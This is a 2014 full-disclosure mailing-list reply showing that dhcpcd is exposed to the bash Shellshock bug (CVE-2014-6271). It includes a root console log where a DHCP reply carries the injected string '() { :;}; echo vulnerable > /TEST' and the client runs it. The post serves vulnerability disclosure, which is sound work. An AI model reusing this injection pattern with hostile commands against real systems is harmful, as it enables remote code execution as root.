full-disclosure - Re: [FD] Critical bash vulnerability CVE-2014-6271

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Message-ID: <20140925172306.GA14791@localhost>
Date: Thu, 25 Sep 2014 13:23:06 -0400
From: Evan Teitelman <teitelmanevan@...il.com>
To: Philip Cheong <philip.cheong@...stx.se>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] Critical bash vulnerability CVE-2014-6271

On Thu, Sep 25, 2014 at 02:39:55PM +0200, Philip Cheong wrote:
> Worse that heartbleed?
>
> http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
>
> http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/
>

dhcpcd is vulnerable.

root@...ckarch ~ # dhcpcd -4 eth0
dhcpcd[413]: version 5.6.8 starting
dhcpcd[413]: eth0: rebinding lease of 192.168.1.2
dhcpcd[413]: eth0: acknowledged 192.168.1.2 from 192.168.1.1 `() { :;}; echo vulnerable > /TEST'
dhcpcd[413]: eth0: checking for 192.168.1.2
...

root@...ckarch ~ # cat /TEST
vulnerable

Content of type "application/pgp-signature" skipped

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